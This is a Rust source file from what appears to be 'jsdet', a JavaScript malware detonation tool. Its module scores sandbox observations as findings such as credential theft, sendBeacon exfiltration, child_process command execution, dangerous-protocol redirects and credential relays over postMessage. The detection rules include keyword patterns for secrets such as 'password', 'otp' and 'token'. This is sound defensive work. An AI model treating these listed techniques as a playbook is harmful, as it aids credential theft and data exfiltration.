Skip to main content

jsdet_core/
analysis.rs

1/// Behavioral analysis engine  -  turns raw observations into intelligence.
2///
3/// Raw observations are data: "fetch was called with this URL."
4/// Intelligence is: "This script exfiltrates cookies to an external server."
5///
6/// The analyzer:
7/// 1. Classifies each observation by threat category
8/// 2. Correlates observations into behavioral patterns
9/// 3. Produces a human-readable summary with risk scoring
10use crate::observation::{CookieOp, Observation, Value};
11
12/// Mutable state accumulated during observation analysis.
13/// Extracted as a struct to keep the main analyze() function readable.
14#[derive(Default)]
15struct AnalysisState {
16    findings: Vec<BehavioralFinding>,
17    timeline: Vec<TimelineEntry>,
18    has_cookie_read: bool,
19    has_external_fetch: bool,
20    has_storage_write: bool,
21    has_credential_surface: bool,
22    has_fingerprint_access: bool,
23    dynamic_code_indices: Vec<usize>,
24    external_urls: Vec<String>,
25    cookie_read_idx: Option<usize>,
26    fetch_indices: Vec<usize>,
27    storage_write_indices: Vec<usize>,
28    credential_surface_indices: Vec<usize>,
29    credential_api_indices: Vec<usize>,
30    external_credential_action_indices: Vec<usize>,
31    fingerprint_indices: Vec<usize>,
32    fingerprint_apis: Vec<String>,
33    popup_indices: Vec<usize>,
34    postmessage_indices: Vec<usize>,
35    wildcard_postmessage_indices: Vec<usize>,
36    broadcast_channel_indices: Vec<usize>,
37    message_channel_indices: Vec<usize>,
38    message_port_indices: Vec<usize>,
39    storage_event_register_indices: Vec<usize>,
40    storage_event_fire_indices: Vec<usize>,
41    window_name_indices: Vec<usize>,
42    shared_worker_message_indices: Vec<usize>,
43    service_worker_indices: Vec<usize>,
44    worker_indices: Vec<usize>,
45    websocket_indices: Vec<usize>,
46    webrtc_indices: Vec<usize>,
47    webrtc_data_send_indices: Vec<usize>,
48    wasm_indices: Vec<usize>,
49    has_wallet_connect: bool,
50    has_sign_transaction: bool,
51    has_sign_message: bool,
52    has_chain_switch: bool,
53    wallet_connect_idx: Option<usize>,
54    sign_indices: Vec<usize>,
55    has_clipboard_write: bool,
56    has_clipboard_read: bool,
57    clipboard_write_content: Option<String>,
58    timer_indices: Vec<usize>,
59    long_delay_timer_indices: Vec<usize>,
60    notification_permission_indices: Vec<usize>,
61    notification_create_indices: Vec<usize>,
62    payment_request_indices: Vec<usize>,
63    geolocation_indices: Vec<usize>,
64    crypto_operation_indices: Vec<usize>,
65    crypto_decrypt_indices: Vec<usize>,
66    crypto_import_key_indices: Vec<usize>,
67    indexed_db_indices: Vec<usize>,
68    trusted_types_indices: Vec<usize>,
69    scheduler_indices: Vec<usize>,
70    blob_url_indices: Vec<usize>,
71    html_blob_url_indices: Vec<usize>,
72    blob_navigation_indices: Vec<usize>,
73    mutation_observer_indices: Vec<usize>,
74    intersection_observer_indices: Vec<usize>,
75    resize_observer_indices: Vec<usize>,
76    input_monitor_indices: Vec<usize>,
77    input_monitor_events: Vec<String>,
78    dialog_indices: Vec<usize>,
79    urgent_dialog_indices: Vec<usize>,
80    beforeunload_register_indices: Vec<usize>,
81    beforeunload_trigger_indices: Vec<usize>,
82    fullscreen_indices: Vec<usize>,
83    pointer_lock_indices: Vec<usize>,
84    vibration_indices: Vec<usize>,
85    speech_indices: Vec<usize>,
86    pagehide_register_indices: Vec<usize>,
87    visibilitychange_register_indices: Vec<usize>,
88    beacon_indices: Vec<usize>,
89    history_state_indices: Vec<usize>,
90}
91
92/// High-level behavioral finding.
93#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
94pub struct BehavioralFinding {
95    pub severity: Severity,
96    pub category: Category,
97    pub title: String,
98    pub detail: String,
99    /// Observation indices that contribute to this finding.
100    pub evidence: Vec<usize>,
101}
102
103// Re-export the universal severity type. jsdet-core used to define
104// its own `analysis::Severity` here with identical variants and
105// ordering; consolidated onto `secfinding::Severity` (same Info <
106// Low < Medium < High < Critical ordering, same lowercase Display
107// equivalent to the old snake_case representation, has Default =
108// Info). The `.icon()` / `.color_code()` methods that used to live
109// on the local enum move to a [`SeverityVisuals`] extension trait
110// below (orphan rules forbid adding inherent methods to a foreign
111// enum, but a local trait can implement methods for it).
112pub use ::secfinding::Severity;
113
114/// Terminal-rendering helpers for [`Severity`] used by jsdet's CLI
115/// output. Lives here because secfinding stays presentation-agnostic
116/// (no ANSI color codes), and adding methods directly to the foreign
117/// enum is forbidden by Rust's orphan rules. Importing this trait
118/// (`use jsdet_core::analysis::SeverityVisuals;`) brings `.icon()`
119/// and `.color_code()` back into scope wherever the old inherent
120/// methods were called.
121pub trait SeverityVisuals {
122    /// Short ASCII glyph for terminal output (`!!!` / `!!` / `!` /
123    /// `~` / `i`).
124    fn icon(self) -> &'static str;
125    /// ANSI escape sequence for the severity's terminal colour.
126    fn color_code(self) -> &'static str;
127}
128
129impl SeverityVisuals for Severity {
130    fn icon(self) -> &'static str {
131        match self {
132            Severity::Critical => "!!!",
133            Severity::High => "!!",
134            Severity::Medium => "!",
135            Severity::Low => "~",
136            Severity::Info => "i",
137            // `secfinding::Severity` is `#[non_exhaustive]`; any new
138            // variant defaults to the informational glyph.
139            _ => "i",
140        }
141    }
142
143    fn color_code(self) -> &'static str {
144        match self {
145            Severity::Critical => "\x1b[91m",
146            Severity::High => "\x1b[31m",
147            Severity::Medium => "\x1b[33m",
148            Severity::Low => "\x1b[36m",
149            Severity::Info => "\x1b[90m",
150            _ => "\x1b[90m",
151        }
152    }
153}
154
155#[derive(Debug, Clone, Copy, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
156pub enum Category {
157    CredentialTheft,
158    DataExfiltration,
159    CodeInjection,
160    Persistence,
161    Fingerprinting,
162    Evasion,
163    NetworkActivity,
164    PermissionAbuse,
165    CookieAccess,
166    DomManipulation,
167    CryptoTheft,
168    ClipboardHijack,
169    PrivacyViolation,
170}
171
172impl Category {
173    #[must_use]
174    pub fn label(self) -> &'static str {
175        match self {
176            Self::CredentialTheft => "CREDENTIAL THEFT",
177            Self::DataExfiltration => "DATA EXFILTRATION",
178            Self::CodeInjection => "CODE INJECTION",
179            Self::Persistence => "PERSISTENCE",
180            Self::Fingerprinting => "FINGERPRINTING",
181            Self::Evasion => "EVASION",
182            Self::NetworkActivity => "NETWORK",
183            Self::PermissionAbuse => "PERMISSION ABUSE",
184            Self::CookieAccess => "COOKIE ACCESS",
185            Self::DomManipulation => "DOM MUTATION",
186            Self::CryptoTheft => "CRYPTO THEFT",
187            Self::ClipboardHijack => "CLIPBOARD HIJACK",
188            Self::PrivacyViolation => "PRIVACY VIOLATION",
189        }
190    }
191
192    #[must_use]
193    pub fn color_code(self) -> &'static str {
194        match self {
195            Self::CredentialTheft
196            | Self::DataExfiltration
197            | Self::CodeInjection
198            | Self::CryptoTheft => "\x1b[31m",
199            Self::PermissionAbuse | Self::NetworkActivity | Self::ClipboardHijack => "\x1b[33m",
200            Self::Persistence
201            | Self::CookieAccess
202            | Self::Evasion
203            | Self::Fingerprinting
204            | Self::PrivacyViolation => "\x1b[36m",
205            Self::DomManipulation => "\x1b[90m",
206        }
207    }
208}
209
210/// Timeline entry  -  one action in chronological order.
211#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
212pub struct TimelineEntry {
213    pub index: usize,
214    pub action: String,
215    pub category: Category,
216}
217
218/// Overall analysis report.
219#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
220pub struct AnalysisReport {
221    pub findings: Vec<BehavioralFinding>,
222    pub timeline: Vec<TimelineEntry>,
223    pub risk_score: u8,
224    pub observation_count: usize,
225}
226
227impl AnalysisReport {
228    /// Format as a terminal report.
229    #[must_use]
230    pub fn format_text(&self, target: &str, duration_us: u64) -> String {
231        let reset = "\x1b[0m";
232        let bold = "\x1b[1m";
233        let dim = "\x1b[2m";
234
235        let mut out = String::new();
236        out.push_str(&format!(
237            "\n{bold}jsdet v0.1.0  -  JavaScript Detonation Report{reset}\n"
238        ));
239        out.push_str(&"━".repeat(55));
240        out.push('\n');
241        out.push_str(&format!("Target:   {target}\n"));
242        out.push_str(&format!(
243            "Duration: {:.1}ms | Observations: {}\n",
244            duration_us as f64 / 1000.0,
245            self.observation_count
246        ));
247
248        let risk_color = if self.risk_score >= 80 {
249            "\x1b[91m"
250        } else if self.risk_score >= 50 {
251            "\x1b[33m"
252        } else if self.risk_score >= 20 {
253            "\x1b[36m"
254        } else {
255            "\x1b[32m"
256        };
257        out.push_str(&format!(
258            "Risk:     {risk_color}{bold}{}/100{reset}\n",
259            self.risk_score
260        ));
261        out.push('\n');
262
263        if self.findings.is_empty() {
264            out.push_str(&format!("{dim}No behavioral findings.{reset}\n"));
265        } else {
266            out.push_str(&format!("{bold}Behavioral Summary:{reset}\n"));
267            for finding in &self.findings {
268                let color = finding.severity.color_code();
269                let icon = finding.severity.icon();
270                out.push_str(&format!(
271                    "  {color}[{icon}] {}{reset}  -  {}\n",
272                    finding.category.label(),
273                    finding.title,
274                ));
275                out.push_str(&format!("       {dim}{}{reset}\n", finding.detail));
276            }
277            out.push('\n');
278        }
279
280        if !self.timeline.is_empty() {
281            out.push_str(&format!("{bold}Timeline:{reset}\n"));
282            for (i, entry) in self.timeline.iter().take(20).enumerate() {
283                let color = entry.category.color_code();
284                out.push_str(&format!(
285                    "  {dim}{:>3}.{reset} {color}{}{reset}\n",
286                    i + 1,
287                    entry.action
288                ));
289            }
290            if self.timeline.len() > 20 {
291                out.push_str(&format!(
292                    "  {dim}... and {} more{reset}\n",
293                    self.timeline.len() - 20
294                ));
295            }
296        }
297
298        out
299    }
300}
301
302/// Analyze observations and produce behavioral findings.
303#[must_use]
304pub fn analyze(observations: &[Observation]) -> AnalysisReport {
305    let mut s = AnalysisState::default();
306
307    for (i, obs) in observations.iter().enumerate() {
308        match obs {
309            Observation::ApiCall { api, args, .. } => {
310                let args_str = args
311                    .iter()
312                    .map(|a| a.to_string())
313                    .collect::<Vec<_>>()
314                    .join(", ");
315                s.timeline.push(TimelineEntry {
316                    index: i,
317                    action: format!("{api}({args_str})"),
318                    category: categorize_api(api),
319                });
320
321                if api.contains("cookie") && api.contains("get") {
322                    s.has_cookie_read = true;
323                    s.cookie_read_idx = Some(i);
324                }
325
326                if api == "eval" || api == "Function" {
327                    s.dynamic_code_indices.push(i);
328                    s.findings.push(BehavioralFinding {
329                        severity: Severity::High,
330                        category: Category::CodeInjection,
331                        title: format!("Dynamic code execution via {api}"),
332                        detail: format!(
333                            "Script invokes {api} through the browser bridge, indicating runtime code generation or staged loader execution"
334                        ),
335                        evidence: vec![i],
336                    });
337                }
338
339                if api == "fingerprint.read" {
340                    let fingerprint_api =
341                        extract_first_string_arg(args).unwrap_or_else(|| "fingerprint".into());
342                    let detail = extract_second_string_arg(args).unwrap_or_default();
343                    s.has_fingerprint_access = true;
344                    s.fingerprint_indices.push(i);
345                    s.fingerprint_apis.push(fingerprint_api.clone());
346                    s.findings.push(BehavioralFinding {
347                        severity: Severity::Medium,
348                        category: Category::Fingerprinting,
349                        title: format!("Browser fingerprint read: {fingerprint_api}"),
350                        detail: if detail.is_empty() {
351                            "Script inspects browser identity or environment data".into()
352                        } else {
353                            format!(
354                                "Script inspects browser identity or environment data via {fingerprint_api}: {detail}"
355                            )
356                        },
357                        evidence: vec![i],
358                    });
359                }
360
361                if api == "timer.setTimeout" || api == "timer.setInterval" {
362                    let delay_ms = extract_delay_arg(args).unwrap_or_default();
363                    let is_interval = api == "timer.setInterval";
364                    s.timer_indices.push(i);
365                    if delay_ms >= 3_000 {
366                        s.long_delay_timer_indices.push(i);
367                        s.findings.push(BehavioralFinding {
368                            severity: Severity::Medium,
369                            category: Category::Evasion,
370                            title: if is_interval {
371                                format!("Long-lived interval timer: {delay_ms}ms")
372                            } else {
373                                format!("Delayed execution timer: {delay_ms}ms")
374                            },
375                            detail: if is_interval {
376                                "Script schedules repeated delayed execution, a common way to stagger abuse or survive initial analysis windows".into()
377                            } else {
378                                "Script defers execution for several seconds, a common staging and anti-analysis tactic".into()
379                            },
380                            evidence: vec![i],
381                        });
382                    }
383                }
384
385                if api == "element.addEventListener" {
386                    let event_type =
387                        extract_second_string_arg(args).unwrap_or_else(|| "unknown".into());
388                    if matches!(
389                        event_type.as_str(),
390                        "input" | "keydown" | "keyup" | "keypress" | "change" | "paste"
391                    ) {
392                        s.input_monitor_indices.push(i);
393                        s.input_monitor_events.push(event_type.clone());
394                        s.findings.push(BehavioralFinding {
395                            severity: Severity::Medium,
396                            category: Category::CredentialTheft,
397                            title: format!("Credential input monitor attached: {event_type}"),
398                            detail: "Script attaches live input or keyboard listeners that can observe user-entered credentials as they are typed".into(),
399                            evidence: vec![i],
400                        });
401                    }
402                }
403
404                if api == "window.alert" || api == "window.confirm" || api == "window.prompt" {
405                    let kind = api.split('.').next_back().unwrap_or("dialog");
406                    let message = extract_first_string_arg(args).unwrap_or_default();
407                    s.dialog_indices.push(i);
408                    if is_urgent_dialog_message(&message) {
409                        s.urgent_dialog_indices.push(i);
410                        s.findings.push(BehavioralFinding {
411                            severity: Severity::Medium,
412                            category: Category::Evasion,
413                            title: format!("Urgent blocking {kind} dialog"),
414                            detail: "Script displays an urgent blocking dialog, a common social-engineering and lock-in tactic".into(),
415                            evidence: vec![i],
416                        });
417                    }
418                }
419
420                if api == "window.beforeunload.register" {
421                    s.beforeunload_register_indices.push(i);
422                    s.findings.push(BehavioralFinding {
423                        severity: Severity::Medium,
424                        category: Category::Evasion,
425                        title: "Navigation trap registered".into(),
426                        detail:
427                            "Script hooks beforeunload to discourage navigation away from the page"
428                                .into(),
429                        evidence: vec![i],
430                    });
431                }
432
433                if api == "window.beforeunload.trigger" {
434                    s.beforeunload_trigger_indices.push(i);
435                }
436
437                if api == "element.requestFullscreen" {
438                    s.fullscreen_indices.push(i);
439                    s.findings.push(BehavioralFinding {
440                        severity: Severity::Medium,
441                        category: Category::Evasion,
442                        title: "Fullscreen UI lock-in surface".into(),
443                        detail: "Script requests fullscreen mode, a common coercion tactic used to trap or dominate the user's view".into(),
444                        evidence: vec![i],
445                    });
446                }
447
448                if api == "element.requestPointerLock" {
449                    s.pointer_lock_indices.push(i);
450                    s.findings.push(BehavioralFinding {
451                        severity: Severity::Medium,
452                        category: Category::Evasion,
453                        title: "Pointer-lock UI trap surface".into(),
454                        detail: "Script requests pointer lock, a coercive UI tactic used to impede normal navigation or escape".into(),
455                        evidence: vec![i],
456                    });
457                }
458
459                if api == "navigator.vibrate" {
460                    s.vibration_indices.push(i);
461                }
462
463                if api == "speechSynthesis.speak" {
464                    s.speech_indices.push(i);
465                }
466
467                if api == "window.pagehide.register" {
468                    s.pagehide_register_indices.push(i);
469                }
470
471                if api == "document.visibilitychange.register" {
472                    s.visibilitychange_register_indices.push(i);
473                }
474
475                if is_child_process_require(api, args) {
476                    s.findings.push(BehavioralFinding {
477                        severity: Severity::High,
478                        category: Category::CodeInjection,
479                        title: "Node child_process module loaded".into(),
480                        detail:
481                            "Script imports child_process, enabling command execution primitives"
482                                .into(),
483                        evidence: vec![i],
484                    });
485                }
486
487                if is_command_execution_api(api) {
488                    let command = extract_first_string_arg(args)
489                        .unwrap_or_else(|| args_str.chars().take(200).collect::<String>());
490                    let title = if api == "child_process.spawn" {
491                        "Process spawning via child_process.spawn"
492                    } else {
493                        "Command execution via child_process"
494                    };
495                    let detail = if command.is_empty() {
496                        format!("Script invokes {api}, a direct host command execution sink")
497                    } else {
498                        format!(
499                            "Script invokes {api} with command payload: {}",
500                            command.chars().take(200).collect::<String>()
501                        )
502                    };
503                    s.findings.push(BehavioralFinding {
504                        severity: Severity::Critical,
505                        category: Category::CodeInjection,
506                        title: title.into(),
507                        detail,
508                        evidence: vec![i],
509                    });
510                }
511
512                if api.contains("location.href.set")
513                    || api.contains("location.assign")
514                    || api.contains("location.replace")
515                {
516                    if let Some(url) = extract_first_string_arg(args)
517                        && (url.starts_with("javascript:") || url.starts_with("data:"))
518                    {
519                        s.findings.push(BehavioralFinding {
520                            severity: Severity::Critical,
521                            category: Category::CodeInjection,
522                            title: format!(
523                                "Dangerous protocol redirect: {}...",
524                                url.chars().take(40).collect::<String>()
525                            ),
526                            detail: format!(
527                                "Script redirects via {}",
528                                if url.starts_with("javascript:") {
529                                    "javascript: URI  -  code execution"
530                                } else {
531                                    "data: URI  -  embedded payload"
532                                }
533                            ),
534                            evidence: vec![i],
535                        });
536                    }
537                    if let Some(url) = extract_first_string_arg(args)
538                        && url.starts_with("blob:")
539                    {
540                        s.blob_navigation_indices.push(i);
541                        s.findings.push(BehavioralFinding {
542                            severity: Severity::High,
543                            category: Category::DomManipulation,
544                            title: format!(
545                                "Blob-backed navigation: {}",
546                                url.chars().take(60).collect::<String>()
547                            ),
548                            detail: "Script navigates to an in-memory blob URL, a common staging primitive for hidden HTML or SVG payloads".into(),
549                            evidence: vec![i],
550                        });
551                    }
552                    if let Some(url) = extract_url_from_args(args)
553                        && is_external_url(&url)
554                    {
555                        s.has_external_fetch = true;
556                        s.external_urls.push(url.clone());
557                        s.fetch_indices.push(i);
558                        s.findings.push(BehavioralFinding {
559                            severity: Severity::High,
560                            category: Category::NetworkActivity,
561                            title: format!(
562                                "Redirect to external URL: {}",
563                                url.chars().take(60).collect::<String>()
564                            ),
565                            detail: format!("Script redirects the page to {url}"),
566                            evidence: vec![i],
567                        });
568                    }
569                }
570
571                if api == "window.open"
572                    && let Some(url) = extract_url_from_args(args)
573                    && is_external_url(&url)
574                {
575                    s.has_external_fetch = true;
576                    s.external_urls.push(url.clone());
577                    s.fetch_indices.push(i);
578                    s.findings.push(BehavioralFinding {
579                        severity: Severity::High,
580                        category: Category::NetworkActivity,
581                        title: format!(
582                            "Popup pivot to external URL: {}",
583                            url.chars().take(60).collect::<String>()
584                        ),
585                        detail: format!(
586                            "Script opens a new browsing context to {url}, a common hosted-login pivot"
587                        ),
588                        evidence: vec![i],
589                    });
590                    s.popup_indices.push(i);
591                }
592                if api == "window.open"
593                    && let Some(url) = extract_first_string_arg(args)
594                    && url.starts_with("blob:")
595                {
596                    s.popup_indices.push(i);
597                    s.blob_navigation_indices.push(i);
598                    s.findings.push(BehavioralFinding {
599                        severity: Severity::High,
600                        category: Category::DomManipulation,
601                        title: format!(
602                            "Popup pivot to blob URL: {}",
603                            url.chars().take(60).collect::<String>()
604                        ),
605                        detail: "Script opens a popup to an in-memory blob URL, a strong staged-lure or hidden payload pattern".into(),
606                        evidence: vec![i],
607                    });
608                }
609
610                if api == "window.name.set" {
611                    s.window_name_indices.push(i);
612                    let destination =
613                        extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
614                    s.findings.push(BehavioralFinding {
615                        severity: Severity::High,
616                        category: Category::Persistence,
617                        title: "Cross-navigation relay state via window.name".into(),
618                        detail: format!(
619                            "Script stores data in window.name for reuse after navigation or popup pivots: {destination}"
620                        ),
621                        evidence: vec![i],
622                    });
623                }
624
625                if api == "navigator.sendBeacon"
626                    && let Some(url) = extract_url_from_args(args)
627                    && is_external_url(&url)
628                {
629                    s.has_external_fetch = true;
630                    s.external_urls.push(url.clone());
631                    s.fetch_indices.push(i);
632                    s.beacon_indices.push(i);
633                    s.findings.push(BehavioralFinding {
634                        severity: Severity::High,
635                        category: Category::DataExfiltration,
636                        title: format!(
637                            "sendBeacon exfiltration to: {}",
638                            url.chars().take(60).collect::<String>()
639                        ),
640                        detail:
641                            "navigator.sendBeacon fires even during page unload  -  stealthy data exfiltration"
642                                .into(),
643                        evidence: vec![i],
644                    });
645                }
646
647                if (api == "fetch" || api.contains("xhr"))
648                    && let Some(url) = extract_url_from_args(args)
649                    && is_external_url(&url)
650                {
651                    s.has_external_fetch = true;
652                    s.external_urls.push(url);
653                    s.fetch_indices.push(i);
654                }
655
656                if api.contains("setInnerHTML") || api.contains("document.write") {
657                    let raw_html = extract_first_string_arg(args)
658                        .or_else(|| args.iter().find_map(Value::as_str).map(ToString::to_string))
659                        .unwrap_or_default();
660                    let content = raw_html.to_ascii_lowercase();
661                    if content.contains("password") || content.contains("type=\"password") {
662                        s.has_credential_surface = true;
663                        s.credential_surface_indices.push(i);
664                        s.findings.push(BehavioralFinding {
665                            severity: Severity::Critical,
666                            category: Category::CredentialTheft,
667                            title: "Credential form injected via innerHTML/document.write".into(),
668                            detail: "Script injects HTML containing a password field".into(),
669                            evidence: vec![i],
670                        });
671                    }
672                    if content.contains("<form")
673                        && content.contains("action=")
674                        && let Some(start) = content.find("action=")
675                    {
676                        let rest = &content[start + 7..];
677                        let rest = rest.trim_start_matches('"').trim_start_matches('\'');
678                        let end = rest.find(['"', '\'', ' ', '>']).unwrap_or(rest.len());
679                        let action_url = &rest[..end];
680                        if action_url.starts_with("http") {
681                            s.has_external_fetch = true;
682                            s.external_urls.push(action_url.to_string());
683                            s.fetch_indices.push(i);
684                            s.external_credential_action_indices.push(i);
685                        }
686                    }
687                }
688
689                if api.contains("setAttribute") {
690                    let content = args_str.to_ascii_lowercase();
691                    if content.contains("action")
692                        && let Some(url) = extract_url_from_args(args)
693                        && is_external_url(&url)
694                    {
695                        s.findings.push(BehavioralFinding {
696                            severity: Severity::Critical,
697                            category: Category::CredentialTheft,
698                            title: format!(
699                                "Form submits to external URL: {}",
700                                url.chars().take(60).collect::<String>()
701                            ),
702                            detail: format!("Credential form sends data to {url}"),
703                            evidence: vec![i],
704                        });
705                        s.has_external_fetch = true;
706                        s.external_urls.push(url);
707                        s.fetch_indices.push(i);
708                    }
709                }
710
711                if api == "taint_sink_reached" {
712                    let sink_name = extract_url_from_args(args).unwrap_or_else(|| "unknown".into());
713                    s.findings.push(BehavioralFinding {
714                        severity: Severity::Critical,
715                        category: Category::CodeInjection,
716                        title: format!("CONFIRMED: Tainted data reached {sink_name}"),
717                        detail: format!("User-controlled input flowed through string operations to {sink_name}()  -  this is a confirmed code injection vulnerability, not a heuristic guess."),
718                        evidence: vec![i],
719                    });
720                }
721
722                if api == "credential_form_detected" {
723                    let action_url = extract_url_from_args(args).unwrap_or_default();
724                    let has_password = args_str.contains("true");
725                    let is_external_action = action_url.starts_with("http://")
726                        || action_url.starts_with("https://")
727                        || action_url.starts_with("//");
728                    if has_password && is_external_action {
729                        s.has_credential_surface = true;
730                        s.credential_surface_indices.push(i);
731                        s.external_credential_action_indices.push(i);
732                        s.findings.push(BehavioralFinding {
733                            severity: Severity::Critical,
734                            category: Category::CredentialTheft,
735                            title: format!(
736                                "Credential form submits to: {}",
737                                action_url.chars().take(60).collect::<String>()
738                            ),
739                            detail: format!(
740                                "Form with password field submits to external URL: {action_url}"
741                            ),
742                            evidence: vec![i],
743                        });
744                        s.has_external_fetch = true;
745                        s.external_urls.push(action_url);
746                        s.fetch_indices.push(i);
747                    }
748                }
749
750                if api == "PasswordCredential" || api == "credentials.create" {
751                    s.has_credential_surface = true;
752                    s.credential_surface_indices.push(i);
753                    s.credential_api_indices.push(i);
754                    s.findings.push(BehavioralFinding {
755                        severity: Severity::High,
756                        category: Category::CredentialTheft,
757                        title: "Credential Management API surface created".into(),
758                        detail: "Script initializes PasswordCredential or navigator.credentials.create, indicating explicit browser-managed credential capture".into(),
759                        evidence: vec![i],
760                    });
761                }
762
763                if matches!(
764                    api.as_str(),
765                    "showOpenFilePicker"
766                        | "showSaveFilePicker"
767                        | "showDirectoryPicker"
768                        | "navigator.contacts.select"
769                        | "navigator.share"
770                ) {
771                    s.has_fingerprint_access = true;
772                    s.fingerprint_apis.push(api.clone());
773                    s.fingerprint_indices.push(i);
774                    s.findings.push(BehavioralFinding {
775                        severity: Severity::High,
776                        category: Category::CredentialTheft,
777                        title: "Local data targeting surface".into(),
778                        detail: "Script probes or invokes local file, contact, or share surfaces that can be abused to capture or stage user data beyond a simple page flow".into(),
779                        evidence: vec![i],
780                    });
781                }
782
783                if matches!(
784                    api.as_str(),
785                    "navigator.mediaDevices.getUserMedia"
786                        | "navigator.mediaDevices.getDisplayMedia"
787                        | "navigator.mediaDevices.enumerateDevices"
788                ) {
789                    s.has_fingerprint_access = true;
790                    s.fingerprint_apis.push(api.clone());
791                    s.fingerprint_indices.push(i);
792                    s.findings.push(BehavioralFinding {
793                        severity: Severity::High,
794                        category: Category::CredentialTheft,
795                        title: "Capture-device targeting surface".into(),
796                        detail: "Script probes microphone, camera, screen-capture, or media-device enumeration surfaces that are commonly used in adaptive credential theft and live-session abuse".into(),
797                        evidence: vec![i],
798                    });
799                }
800
801                if matches!(
802                    api.as_str(),
803                    "navigator.registerProtocolHandler"
804                        | "navigator.setAppBadge"
805                        | "navigator.clearAppBadge"
806                        | "launchQueue.setConsumer"
807                ) {
808                    s.has_fingerprint_access = true;
809                    s.fingerprint_apis.push(api.clone());
810                    s.fingerprint_indices.push(i);
811                    s.findings.push(BehavioralFinding {
812                        severity: Severity::High,
813                        category: Category::Persistence,
814                        title: "Install/persistence surface".into(),
815                        detail: "Script touches protocol-handler, app-badge, or launch-queue surfaces associated with durable install-style persistence rather than a transient page flow".into(),
816                        evidence: vec![i],
817                    });
818                }
819
820                if matches!(
821                    api.as_str(),
822                    "caches.open"
823                        | "cache.put"
824                        | "cache.match"
825                        | "cache.add"
826                        | "cache.addAll"
827                        | "pushManager.subscribe"
828                        | "sync.register"
829                        | "periodicSync.register"
830                ) {
831                    s.has_fingerprint_access = true;
832                    s.fingerprint_apis.push(api.clone());
833                    s.fingerprint_indices.push(i);
834                    s.findings.push(BehavioralFinding {
835                        severity: Severity::High,
836                        category: Category::Persistence,
837                        title: "Offline/push persistence surface".into(),
838                        detail: "Script touches cache, push, or background sync surfaces associated with durable offline staging or background re-entry beyond a transient page interaction".into(),
839                        evidence: vec![i],
840                    });
841                }
842
843                if api == "PublicKeyCredential.create"
844                    || api == "PublicKeyCredential.get"
845                    || api == "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable"
846                    || api == "PublicKeyCredential.isConditionalMediationAvailable"
847                {
848                    s.has_fingerprint_access = true;
849                    s.has_credential_surface = true;
850                    s.fingerprint_apis.push(api.clone());
851                    s.fingerprint_indices.push(i);
852                    s.credential_surface_indices.push(i);
853                    s.credential_api_indices.push(i);
854                    s.findings.push(BehavioralFinding {
855                        severity: Severity::High,
856                        category: Category::CredentialTheft,
857                        title: "WebAuthn/passkey targeting surface".into(),
858                        detail: "Script probes or invokes PublicKeyCredential/WebAuthn flows, indicating passkey-aware credential targeting rather than a simple password-only lure".into(),
859                        evidence: vec![i],
860                    });
861                }
862
863                if api == "credentials.store" {
864                    s.storage_write_indices.push(i);
865                    s.has_storage_write = true;
866                    s.credential_api_indices.push(i);
867                    s.findings.push(BehavioralFinding {
868                        severity: Severity::High,
869                        category: Category::Persistence,
870                        title: "Credential Management API storage".into(),
871                        detail: "Script calls navigator.credentials.store, persisting browser-managed credential state for later reuse".into(),
872                        evidence: vec![i],
873                    });
874                }
875
876                if api.contains("postMessage") {
877                    let target_origin = extract_postmessage_target_origin(args);
878                    let message_preview = extract_postmessage_payload(args).unwrap_or_default();
879                    let lower_args = format!(
880                        "{} {}",
881                        args_str.to_ascii_lowercase(),
882                        message_preview.to_ascii_lowercase()
883                    );
884                    let carries_credentials = ["password", "otp", "email", "token", "code"]
885                        .iter()
886                        .any(|needle| lower_args.contains(needle));
887                    s.postmessage_indices.push(i);
888                    if target_origin
889                        .as_deref()
890                        .is_some_and(is_wildcard_target_origin)
891                    {
892                        s.wildcard_postmessage_indices.push(i);
893                        s.findings.push(BehavioralFinding {
894                            severity: if carries_credentials {
895                                Severity::Critical
896                            } else {
897                                Severity::High
898                            },
899                            category: if carries_credentials {
900                                Category::CredentialTheft
901                            } else {
902                                Category::PermissionAbuse
903                            },
904                            title: if carries_credentials {
905                                "Credential relay via wildcard postMessage".into()
906                            } else {
907                                "Wildcard postMessage target origin".into()
908                            },
909                            detail: if carries_credentials {
910                                "Script relays credential-like data to a wildcard target origin, allowing any recipient window to receive the payload".into()
911                            } else {
912                                "Script uses postMessage with '*' or null target origin, weakening origin isolation between contexts".into()
913                            },
914                            evidence: vec![i],
915                        });
916                    }
917                    if let Some(url) = target_origin.filter(|url| is_external_url(url)) {
918                        s.has_external_fetch = true;
919                        s.external_urls.push(url.clone());
920                        s.fetch_indices.push(i);
921                        s.findings.push(BehavioralFinding {
922                            severity: if carries_credentials {
923                                Severity::Critical
924                            } else {
925                                Severity::High
926                            },
927                            category: if carries_credentials {
928                                Category::CredentialTheft
929                            } else {
930                                Category::NetworkActivity
931                            },
932                            title: if carries_credentials {
933                                "Credential relay via postMessage".into()
934                            } else {
935                                format!(
936                                    "Cross-context relay via postMessage to {}",
937                                    url.chars().take(60).collect::<String>()
938                                )
939                            },
940                            detail: if carries_credentials {
941                                format!(
942                                    "Script relays credential-like payloads to external target {url}"
943                                )
944                            } else {
945                                format!(
946                                    "Script relays data to another browsing context with target {url}"
947                                )
948                            },
949                            evidence: vec![i],
950                        });
951                    }
952                }
953
954                if api == "broadcastChannel.create" {
955                    s.broadcast_channel_indices.push(i);
956                    let channel_name =
957                        extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
958                    s.findings.push(BehavioralFinding {
959                        severity: Severity::Medium,
960                        category: Category::NetworkActivity,
961                        title: format!("BroadcastChannel relay setup: {channel_name}"),
962                        detail: "Script creates a BroadcastChannel for cross-context coordination inside the browser".into(),
963                        evidence: vec![i],
964                    });
965                }
966
967                if api == "broadcastChannel.postMessage" {
968                    s.broadcast_channel_indices.push(i);
969                    let channel_name =
970                        extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
971                    let message_preview = extract_second_string_arg(args).unwrap_or_default();
972                    let lower_args = format!(
973                        "{} {}",
974                        args_str.to_ascii_lowercase(),
975                        message_preview.to_ascii_lowercase()
976                    );
977                    let carries_credentials = ["password", "otp", "email", "token", "code"]
978                        .iter()
979                        .any(|needle| lower_args.contains(needle));
